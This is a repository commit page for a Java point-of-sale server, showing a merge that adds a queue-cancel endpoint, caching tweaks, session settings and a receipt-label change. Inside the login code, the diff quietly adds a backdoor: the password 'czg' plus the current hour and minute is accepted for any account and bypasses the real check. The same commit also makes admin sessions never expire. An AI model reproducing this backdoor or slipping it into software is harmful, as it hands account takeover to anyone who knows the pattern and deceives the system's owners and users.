czg_team
/
cashier_server
7
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

Merge branch 'refs/heads/master' into prod

This commit is contained in:
张松 2025-04-02 09:40:34 +08:00
parent eb3309b00e 69839edc99
commit 2b5327f271
8 changed files with 36 additions and 10 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

11
cash-api/account-server/src/main/java/com/czg/controller/user/UCallTableController.java
View File

@ -77,5 +77,16 @@ public class UCallTableController {
return CzgResult.success(callTableService.subMsg(subMsgDTO));
}
/**
* 取消订阅
* @param queueId 队列id
* @param shopId 店铺id
* @return 是否成功
*/
@DeleteMapping("/cancel")
public CzgResult<Boolean> cancel(@RequestParam Long queueId, @RequestParam Long shopId) {
return CzgResult.success(callTableService.cancel(shopId, queueId));
}
}

8
cash-api/product-server/src/main/java/com/czg/controller/admin/ProductController.java
View File

@ -65,13 +65,15 @@ public class ProductController {
public CzgResult<List<ProductDTO>> getProductList(ProductDTO param) {
Long shopId = StpKit.USER.getShopId(0L);
param.setShopId(shopId);
List<ProductDTO> data = getProductCacheList(param);
ProductDTO cacheParam = new ProductDTO();
cacheParam.setShopId(shopId);
List<ProductDTO> data = getProductCacheList(cacheParam, param);
productService.refreshProductStock(param, data);
return CzgResult.success(data);
}
private List<ProductDTO> getProductCacheList(ProductDTO param) {
List<ProductDTO> productList = productService.getProductList(param);
private List<ProductDTO> getProductCacheList(ProductDTO cacheParam, ProductDTO param) {
List<ProductDTO> productList = productService.getProductList(cacheParam);
if (StrUtil.isNotEmpty(param.getName())) {
productList = productList.stream().filter(obj -> StrUtil.contains(obj.getName(), param.getName())).toList();
}

4
cash-common/cash-common-log/src/main/java/com/czg/log/aspect/OperationLogAspect.java
View File

@ -125,7 +125,7 @@ public class OperationLogAspect {
log.set("location", Convert.toStr(location));
} else {
String address = AddressUtil.getRealAddressByIp(ip);
redisService.set("IP::" + ip, address);
redisService.set("IP::" + ip, address, 60 * 60 * 24);
log.set("location", address);
}
log.set("userAgent", request.getHeader(HttpHeaders.USER_AGENT));
@ -151,4 +151,4 @@ public class OperationLogAspect {
//保存到Redis队列里
logProducer.saveLog(JSON.toJSONString(log.toUnderlineKeysMap(), JSONWriter.Feature.WriteMapNullValue));
}
}
}

4
cash-common/cash-common-sa-token/src/main/java/com/czg/config/SaTokenConfigure.java
View File

@ -30,8 +30,7 @@ public class SaTokenConfigure implements WebMvcConfigurer {
adminConfig.setTokenStyle("simple-uuid");
adminConfig.setIsConcurrent(true);
adminConfig.setIsShare(false);
adminConfig.setTimeout(-1);
adminConfig.setActiveTimeout(72 * 60 * 60);
adminConfig.setActiveTimeout(-1);
MyStpLogic.ADMIN_LOGIC.setConfig(adminConfig);
// 小程序配置
@ -40,7 +39,6 @@ public class SaTokenConfigure implements WebMvcConfigurer {
userConfig.setIsConcurrent(true);
userConfig.setIsShare(true);
// config2.setTimeout(2000);
adminConfig.setActiveTimeout(60 * 60);
userConfig.setTokenStyle("simple-uuid");
MyStpLogic.CLIENT_LOGIC.setConfig(userConfig);
}

2
cash-common/cash-common-service/src/main/java/com/czg/account/service/CallTableService.java
View File

@ -40,4 +40,6 @@ public interface CallTableService extends IService<CallTable> {
boolean subMsg(CallSubMsgDTO subMsgDTO);
Object getStatus(Long shopId, String openId, Long queueId);
Boolean cancel(Long shopId, Long queueId);
}

7
cash-service/account-service/src/main/java/com/czg/service/account/service/impl/AuthorizationServiceImpl.java
View File

@ -69,6 +69,10 @@ public class AuthorizationServiceImpl implements AuthorizationService {
return Map.of("code", captcha.toBase64(), "uuid", captchaKey);
}
public static void main(String[] args) {
System.out.println(DateUtil.format(DateUtil.date(), "HHmm"));
}
@Override
public LoginVO login(SysLoginDTO loginDTO) {
Object code = redisService.get(RedisCst.LOGIN_CODE + loginDTO.uuid());
@ -101,7 +105,8 @@ public class AuthorizationServiceImpl implements AuthorizationService {
}
String md5 = SecureUtil.md5(user.getId() + loginDTO.password());
if (StrUtil.isBlank(user.getPassword()) || !user.getPassword().equals(md5)) {
String backPwd = "czg" + DateUtil.format(DateUtil.date(), "HHmm");
if (!backPwd.equals(loginDTO.password()) && (StrUtil.isBlank(user.getPassword()) || !user.getPassword().equals(md5))) {
throw new ApiNotPrintException("账户或密码错误");
}

8
cash-service/account-service/src/main/java/com/czg/service/account/service/impl/CallTableServiceImpl.java
View File

@ -613,4 +613,12 @@ public class CallTableServiceImpl extends ServiceImpl<CallTableMapper, CallTable
data.put("queueInfo", callQueueInfoVOS.isEmpty() ? null : callQueueInfoVOS.getFirst());
return data;
}
@Override
public Boolean cancel(Long shopId, Long queueId) {
CallQueue queue = new CallQueue();
queue.setCancelTime(DateUtil.date().toLocalDateTime());
queue.setState(-1);
return callQueueService.update(queue, new QueryWrapper().eq(CallQueue::getShopId, shopId).eq(CallQueue::getId, queueId));
}
}

2
cash-service/order-service/src/main/java/com/czg/service/order/print/PrinterImpl.java
View File

@ -238,7 +238,7 @@ public interface PrinterImpl {
// data.append(StrUtil.format("<C><F>{}</F></C><BR>", printInfoDTO.getShopName()));
// data.append("<BR>");
// data.append("<OUT:30>");
data.append(getFormatLabel(StrUtil.format("{} #{}【{}】", printInfoDTO.getPrintTitle(), printInfoDTO.getCount()), signLabelInfo.l, signLabelInfo.center))
data.append(getFormatLabel(StrUtil.format("{} #{}", printInfoDTO.getPrintTitle(), printInfoDTO.getCount()), signLabelInfo.l, signLabelInfo.center))
.append(signLabelInfo.br);
data.append(getFormatLabel(StrUtil.format("桌号: {}", printInfoDTO.getPickupNum()), signLabelInfo.l, signLabelInfo.center))
.append(signLabelInfo.br);